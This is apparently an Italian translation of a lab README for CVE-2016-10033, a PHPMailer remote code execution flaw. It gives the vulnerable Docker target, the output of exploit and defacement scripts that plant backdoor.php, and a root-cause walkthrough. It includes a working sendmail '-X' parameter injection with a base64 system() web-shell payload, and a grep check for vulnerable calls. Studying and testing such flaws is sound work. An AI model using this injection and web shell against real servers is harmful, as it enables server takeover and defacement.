
Per risolvere il problema CTFS.me
PHPMailer è la classe di trasporto più popolare al mondo, con una stima di 9 milioni di utenti in tutto il mondo. I download continuano a un ritmo significativo ogni giorno. Utilizzato da molti progetti open-source: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e molti altri
PHPMailer, prima della versione 5.2.18, è affetto da una vulnerabilità che potrebbe portare all'esecuzione remota di codice (RCE). La funzione mailSend nel transport isMail di PHPMailer, quando la proprietà Sender non è impostata, potrebbe consentire a un attaccante remoto di passare parametri aggiuntivi al comando mail e di conseguenza eseguire codice arbitrario tramite un " (doppio virgoletto preceduto da backslash) in un indirizzo From appositamente costruito.
Per impostare un ambiente vulnerabile per il tuo test avrai bisogno di Docker installato e ti basterà eseguire il seguente comando:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
E questo avvierà un'applicazione web vulnerabile sul tuo host sulla porta 8080

Per sfruttare questo target basta eseguire:
./exploit host:port
Se stai usando questa immagine vulnerabile, puoi semplicemente eseguire:
./exploit localhost:8080
Dopo lo sfruttamento, un file chiamato backdoor.php verrà salvato nella cartella root della directory web. L'exploit ti fornirà una shell dalla quale potrai inviare comandi alla backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Ed ecco fatto, hai la tua shell. C'è un altro exploit, che illustra un altro caso d'uso.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
E se visiti di nuovo la pagina, vedrai questo:

Prima di questo commit in class.phpmailer.php, in un determinato scenario non c'è alcun filtro sui caratteri speciali dell'indirizzo email del mittente. Questa falla può portare all'esecuzione remota di codice tramite la funzione mail qui.
Analizzando il codice, non c'è alcun filtro nella funzione mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender viene aggiunto direttamente alla variabile $params, che era stata filtrata nella funzione validateAddress(), ma poiché usa la specifica RFC 3696, consente alcuni caratteri che possono rompere le cose. In questo caso, le virgolette:
Oltre alla citazione tramite il carattere backslash, i caratteri convenzionali di doppio virgoletto possono essere utilizzati per racchiudere stringhe. Per esempio
"Abc@def"@example.com
"Fred Bloggs"@example.com
sono forme alternative dei primi due esempi sopra. Queste forme tra virgolette sono raramente raccomandate e poco comuni nella pratica, ma, come discusso sopra, devono essere supportate dalle applicazioni che elaborano indirizzi email. In particolare, le forme tra virgolette compaiono spesso nel contesto di indirizzi associati a transizioni da altri sistemi e contesti; tali requisiti transitori si presentano ancora e, poiché un sistema che accetta un indirizzo email fornito dall'utente non può "sapere" se quell'indirizzo è associato a un sistema legacy, le forme dell'indirizzo devono essere accettate e passate nell'ambiente email.
Puoi leggere l'intera RFC qui se vuoi. Inoltre, se la versione di PHP è inferiore alla 5.2.0 e non è presente PCRE, la variabile $patternselect in validateAddress() verrà impostata su noregex. Ciò farà sì che l'input possa evitare qualsiasi controllo regex e passerà solo attraverso una piccola verifica:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Poi, il flusso del codice prosegue verso la funzione mailPassthru(), che, se eseguita in safe_mode, non sarà vulnerabile a questa falla, come indica il seguente codice:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Ma, se non è in esecuzione in safe_mode, allora il nostro parametro speciale verrà passato a mail() e, se saremo fortunati, il nostro file, contenente qualunque cosa vogliamo, verrà scritto dove scegliamo noi.
Lo sfruttamento della funzione mail() di PHP non è una novità, ma è ancora vivo e molte persone lo usano ancora. Per spiegare come funziona, diamo un'occhiata a come è definita la funzione mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Esistono diversi metodi di sfruttamento per risultati differenti; ci concentreremo sullo sfruttamento del 5° parametro per ottenere l'esecuzione remota di codice (RCE). Il parametro $additional_parameters viene utilizzato per passare flag aggiuntivi come opzioni della riga di comando al programma configurato per inviare l'email. Questa configurazione è definita dalla variabile sendmail_path.
Una nota sulla sicurezza dalla documentazione ufficiale di PHP:
Il parametro additional_parameters può essere utilizzato per passare flag aggiuntivi come opzioni della riga di comando al programma configurato per l'invio della posta, come definito dall'impostazione di configurazione sendmail_path. Ad esempio, può essere utilizzato per impostare l'indirizzo del mittente della busta quando si usa sendmail con l'opzione -f sendmiail.
Questo parametro viene sottoposto internamente a escaping da escapeshellcmd() per prevenire l'esecuzione di comandi. escapeshellcmd() impedisce l'esecuzione di comandi, ma consente di aggiungere parametri aggiuntivi. Per motivi di sicurezza, si raccomanda all'utente di sanificare questo parametro per evitare di aggiungere parametri indesiderati al comando shell.
Considerando i parametri aggiuntivi che possono essere iniettati, useremo -X per sfruttare questa falla. Maggiori informazioni sul parametro -X
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
Ci sono anche altri parametri interessanti che dovresti sapere che esistono:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
E
-O option=value
Set option option to the specified value. This form uses long names.
E per l'opzione -O, la QueueDirectory è l'opzione più interessante: seleziona la directory in cui accodare i messaggi.
Se vuoi leggere l'intero elenco di parametri e opzioni, basta man sendmail o leggerlo online qui
Sulla base di queste informazioni e della capacità di controllare almeno uno degli altri parametri, possiamo sfruttare l'host. Di seguito i passaggi per uno sfruttamento riuscito:
$additional_parameters e un altro parametro di mail()webroot (ovvero /var/www/html per altri sistemi, /www per questo esempio)system(), con un po' di base64 e alcuni caratteri speciali | per renderlo più facile da analizzare.Ricorda che l'opzione -X scriverà il file di log, che conterrà, tra le informazioni di log, il tuo payload PHP, nella directory che indicherai. Un esempio di codice PHP vulnerabile:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Se esegui il codice sopra, creerà un file di log in /www/backdoor.php: questa è l'essenza di questo exploit.
Di seguito il payload utilizzato in questo esempio
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Vuoi un modo semplice, con un solo comando, per provare a individuare questa falla ? Ricorda questo magico comando grep !
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Eseguirlo su questo repository produrrà:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Questa vulnerabilità è stata trovata da Dawid Golunski.
Questo programma o i programmi precedenti sono SOLO a scopo educativo. Non utilizzarlo senza permesso. Vale la solita clausola di esclusione di responsabilità, in particolare il fatto che io (opsxcq) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o delle funzionalità fornite da questi programmi. L'autore o qualsiasi provider Internet NON si assume alcuna responsabilità per il contenuto o l'uso improprio di questi programmi o di loro derivati. Utilizzando questi programmi accetti il fatto che qualsiasi danno (perdita di dati, crash di sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di opsxcq.